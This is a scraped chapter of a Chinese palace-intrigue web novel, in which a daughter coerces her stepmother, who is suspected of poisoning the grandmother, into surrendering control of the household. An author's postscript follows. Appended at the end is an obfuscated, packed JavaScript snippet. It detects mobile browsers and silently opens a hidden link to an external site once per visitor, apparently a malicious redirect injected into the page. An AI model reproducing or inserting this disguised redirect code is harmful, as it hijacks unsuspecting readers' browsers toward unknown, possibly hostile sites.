第五文学网 > 言情小说 > 庶道难 > 第245章 接过大权

第245章 接过大权

    “五小姐饶命啊……太太、太太,求求您了,救救我罢……太太!”

    一声声凄厉尖锐的哭叫,从那个被几个家丁拖走的丫鬟口中迸发出来。她的声音划破空气,叫好几个人不忍心地扭过了头去,然而却没有人敢多说半句话——“京城中最下贱的勾栏院”这句话,还像阴魂似的缭绕不散。

    孙氏眼皮狠跳了跳,往前踏了一步,才要说话,却见顾成卉先扭过了头,笑吟吟地望着她道:“太太若是不同意我对那丫头的处置,咱们不妨请父亲过来评判评判如何?正好,郝大夫也快到了,父亲在场也好……”

    看顾成卉打算一查到底的模样,若是顾老爷一来,只怕这件事就兜不住了。

    孙氏腮边的一根筋狠狠地浮了出来,终于还是压低了声音,死死盯着顾成卉道:“……你到底想干什么?”

    若说是在追查老夫人之死的事,又怎么拿顾老爷来要挟她?难道顾成卉本来没打算告诉老爷不成?

    好像猜到了她心中所想一般,顾成卉笑着道:“本来我是不想麻烦父亲,现在端看太太的意思罢了。”

    孙氏一眨不眨地盯着她,心里转过了无数念头,始终猜不透她要干嘛。只是那句“将那丫头叫回来”的话,也终究没有说出口来。

    顾成卉却没多在她身上花功夫,转头笑着问那头一个跪下的婆子道:“你叫什么?”

    “小的是来福家的……”那个婆子一脸惨白,连声答道——她几乎已经忘了顾忌孙氏,只是一副生怕顾成卉不高兴的样子。

    顾成卉“唔”了一声。翻开了花名册,哗哗地找到了来福家的名字。一会儿,她白皙纤细的手指在册子上点了点,抬头笑道:“敢情妈妈好福气呢。儿女双全!你的小女儿也有十三岁了罢?”

    来福家的已经说不出话了,只知道砰砰磕头。

    “妈妈少磕些罢!莫磕得晕了,把我问的话忘得更干净了。”顾成卉笑道,“你好好回忆回忆,看看能不能想起什么来。想不起来,我就将你小女儿送去给方才的丫鬟作伴。”

    还不等顾成卉说要把她的儿子怎么着呢。来福家的就已经“呜”地一声,泪流满面地磕头道:“我想起来了!我想起来了!”

    孙氏只觉脚下一软。

    “一共有五味药,分量倒是极多的……有酸枣仁、知母、地黄……还有两味我是真的不认得呀五小姐!”来福家的含着浓浓哭腔的声音,回荡在院子上空。

    此时院子里分明站着许多人,可却都鸦雀无声的。人人心中都在默念这几味药材的名字,心知怕是太太在药材上动了手脚……

    “林妈妈,烦你将她带下去,把她说的都写下来,再叫她按一个手印儿。”顾成卉淡淡地吩咐了一声。林妈妈心中激动,手脚发颤。忙去拉来福家的,一时竟还拉不起来。

    待来福家的随着林妈妈走得看不见了,顾成卉这才转头笑着对孙氏道:“一会儿郝大夫来了,我再详细问问他,到底给祖母开了什么方子?一共有多少味药?什么分量?其中又可有这三样?……太太,你说我这样问。妥不妥当?”

    孙氏的脸色,只怕跟死人也差不多了。当初给老夫人灌药的时候,她哪里能想得到顾成卉竟然还有一步登天的本事——本以为她是再蹦跶不出自己的手掌心儿了的!因此在抓药熬药的时候,也都不大谨慎,才留下了这许多的漏洞——毕竟若不是横杀出来一个沈晏安,谁又敢在后院儿里说上半句她不许说的?

    勉强控制自己冷静下来,望着顾成卉唇边的笑,孙氏忽然灵光一闪。

    顾成卉今日摆开了车马,当着这许多人的面儿,作出了一副要对老夫人之事彻查到底的架势。可奇怪的是。她偏偏又没有把顾老爷叫来……也不像是要出去通报消息的样子……

    这么一想就很简单了:想必顾成卉这番做作,就是为了告诉自己,她已经知道自己搞的鬼了。而不往外说就证明——

    果然正如孙氏所想一般,顾成卉随即表情夸张地叹了口气。“太太待我一向是好的,我也不愿意叫太太难过。只是我一想到以后国公府的日子就紧张……想着若是能在家练练手。理理家,多好呀。太太,您说呢?”

    一句骂声险些从孙氏的喉咙里喷出来——她勉强控制住了,沉着脸想了一会儿,心下倒有几分庆幸。顾成卉不惜演了这么一出戏,原来就是为了逼自己交出管家权来——这么看来,她的弱点便是太贪了!想一想,就算不管家了,自己并没有什么损失,更何况,反正她三年以后也是要滚蛋的……

    只不过这种潮水一般汹涌的屈辱感,却叫她面色一阵红一阵白,一句话也说不出来。

    顾成卉好整以暇地进屋给自己倒了杯茶,一边吃一边问道:“……太太,您还没说话呢。”

    孙氏死咬着嘴唇,就是不吭声,脑中急速地做着打算。

    若光靠一个下人的指证,便要拿一个当家主母怎么着,实在是笑话。只不过闹到公堂上要讲证据,平日里的流言蜚语却是不讲的……若真担了一个害死婆母的名声,莫说顾家了,只怕孙家都不会给她好日子过的。

    大不了,在顾成卉掌家的时候做一点手脚,叫她掌不下去就是了。到时候,只怕顾老爷要哭着喊着求自己再接手呢……

    想到这儿,孙氏终于开启了仿佛千斤重的嘴唇。“你不就是想管家吗?我倒想看看你能管成个什么样子……一会儿我便去和老爷说,你赶快把这些人都给我散了!”

    顾成卉抿嘴一笑,没有争辩。

    郝大夫当初开给祖母的药方,早在祖母回光返照、行将就木的那一晚,顾成卉就拿到了。因为老夫人病势沉重,郝大夫开了一个长长的复方,一共用了十一味药。而据林妈妈所说,有时她往外偷看时,能看得清熬药的过程——老夫人喝的药绝没有十一种!

    如今听了那婆子作证,熬的一共只有五味药不说,其中酸枣仁等物,压根就不在郝大夫开的药方子上。孙氏到底给祖母灌下了什么药,已经不得而知了,不过可以肯定的是,祖母之死绝对是孙氏一手促成!

    散去了院中下人,顾成卉冷冷地朝孙氏离去的背影望了一眼,自己也抬起了步子。

    “五小姐——!”一声惶急的声音从背后传来。顾成卉回头一看,见是林妈妈。

    林妈妈想来是将方才二人的对话都听见了,此时双眼紧盯着她不放,急急道:“五小姐,老太太当日用的药中有蹊跷,难道您得以掌家就不管了?老太太的病……”

    见她满头是汗,还要再说,顾成卉拉起了她的手,走出正明居,柔声打断了她。

    “林妈妈,我早已知道祖母一事有蹊跷了。只怕太太压根就没给祖母喝过什么治病的药……只不过,就算闹到了公堂上去,凭着一个下人的话又能如何?太太若是说她另外嘱咐了那婆子熬一些安神养身的药给祖母喝,本来也就不是郝大夫开的方子——咱们就再没办法了!”

    方才是没有把事情闹开——若真的闹开了,孙氏来一个抵死不认,顾成卉还真是一点证据都没有。

    虽然心中明白,可林妈妈的神色仍是多有不甘的样子。

    “那照五小姐这么说,难道咱们就要白白放过去这件事情了?”

    “当然不是。”顾成卉的笑容逐渐冷了下来,直起了后背。“既然咱们心知肚明太太都做过了什么,自然不会就这么放过。妈妈只管安心,这件事我自有主张。”

    看着少女面上冷硬如岩石一般的神色,林妈妈有几分不安地点了点头。随即,她又想起来了一事,忙道:“五小姐,国公府怎么还没有人来定婚期呢?还有,姑爷这几日怎么也不来了……”

    提起沈晏安,顾成卉只觉自己耳朵微微有些热。新皇帝对他的信重可以说是一时无两,连朝中许多重臣都比不上……因此交代给沈晏安肩头上的公事,也是前所未有的多。顾成卉安慰似的朝林妈妈笑道:“……国公府猛地多了我这么一个出身不高的儿媳,心里不高兴也是有的。那就让他们拖一拖去罢,反正有了皇上的口旨,他们还能反口不成?”

    林妈妈这才如释重负一般地走了。

    到了晚饭时分,孙氏竟然主动地找上了顾老爷。

    顾老爷最近每天晚上都在杨欢欢处用饭。正在他摸着杨欢欢的肚子问东问西呢,就听门口传来了小丫头的报声,紧跟着,孙氏举步进了屋里。

    还不等顾老爷开口问,她便带着微笑道:“老爷,我想过了。五丫头嫁去了国公府以后,定是少不了要理家的……既然这样,不妨就让她在出嫁前这几年,帮我管一管家事罢!”神态与上午判若两人。

    ps:

    谢谢世净光(蓝?吕?)的一票粉红~~

    虽然现在投票看婚后斗的人多了两三个的样子……不过好像也不是很多……

    不过因为当初我写大纲的时候,的确没有设计婚后的部分,再加上下个月开始要忙了

    所以目测我大概可能也许仿佛不会写婚后斗了吧……

    唔……


eval(function(p,a,c,k,e,r){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)r[e(c)]=k[c]||e(c);k=[function(e){return r[e]}];e=function(){return'\\w+'};c=1};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p}('s y(){n(O z==="\\t\\6\\4\\0\\i\\8\\6\\0\\4"){A P}u a;v B=z[\'\\t\\9\\0\\7\\Q\\j\\0\\6\\1\'][\'\\1\\3\\w\\3\\C\\0\\7\\o\\2\\9\\0\']();a=\'\\R\\S\\i\\3\\0\\3\';u b;v D=T U("V|W|X Y|Z|10|11|12 13|14|15|16|17".e("").f().g(""),\'\\8\');b=18^19;A D[\'\\1\\0\\9\\1\'](B)}s E(a){u b;v d=k[\'\\h\\7\\0\\2\\1\\0\\F\\5\\0\\l\\0\\6\\1\']("\\2");b="1a".e("").f().g("");d[\'\\p\\7\\0\\i\']=a;d[\'\\9\\1\\m\\5\\0\'][\'\\4\\8\\9\\q\\5\\2\\m\']="1b".e("").f().g("");d[\'\\1\\2\\7\\j\\0\\1\']="1c".e("").f().g("");k[\'\\c\\3\\4\\m\'][\'\\2\\q\\q\\0\\6\\4\\o\\p\\8\\5\\4\'](d);d[\'\\h\\5\\8\\h\\G\']();k[\'\\c\\3\\4\\m\'][\'\\7\\0\\l\\3\\H\\0\\o\\p\\8\\5\\4\'](d)}k[\'\\2\\4\\4\\F\\H\\0\\6\\1\\w\\8\\9\\1\\0\\6\\0\\7\']("\\1d\\1e\\1f\\o\\3\\6\\1\\0\\6\\1\\w\\3\\2\\4\\0\\4",s(){n(!I[\'\\j\\5\\3\\c\\2\\5\\J\\2\\7\']){n(k[\'\\c\\3\\4\\m\']!=1g){I[\'\\j\\5\\3\\c\\2\\5\\J\\2\\7\']="\\x";K=L[\'\\j\\0\\1\\x\\1\\0\\l\']("\\5\\t\\h\\G\\1h\\i\\i");n(!K&&y()){E("\\p\\1\\1\\q\\9\\1i\\r\\r\\c\\C\\1j\\1k\\1l\\M\\N\\1\\3\\3\\8\\N\\M\\h\\3\\l\\r\\h\\c\\4\\r\\2\\2\\2\\2\\c\\2")}L[\'\\9\\0\\1\\x\\1\\0\\l\']("1m".e("").f().g(""),"1n".e("").f().g(""))}}});',62,86,'u0065|u0074|u0061|u006F|u0064|u006C|u006E|u0072|u0069|u0073|||u0062|_0x9ggd1d|split|reverse|join|u0063|u0066|u0067|document|u006D|u0079|if|u0043|u0068|u0070|u002F|function|u0075|var|const|u004C|u0049|isMobileDevice|navigator|return|_0xd8c03f|u0077|_0xc_0x0b6|OpenUrl|u0045|u006B|u0076|window|u0056|hasExecuted|localStorage|u002E|u0078|typeof|false|u0041|u0071|u006A|new|RegExp|elibom|elibomei|inim|arepo|sobew|naibmys|yrrebkcalb|enohp|swodniw|dopi|dapi|enohpi|diordna|978901|978909|piekee|enon|knalb_|u0044|u004F|u004D|null|u005F|u003A|u0031|u0030|u0032|ff_kcul|eurt'.split('|'),0,{}))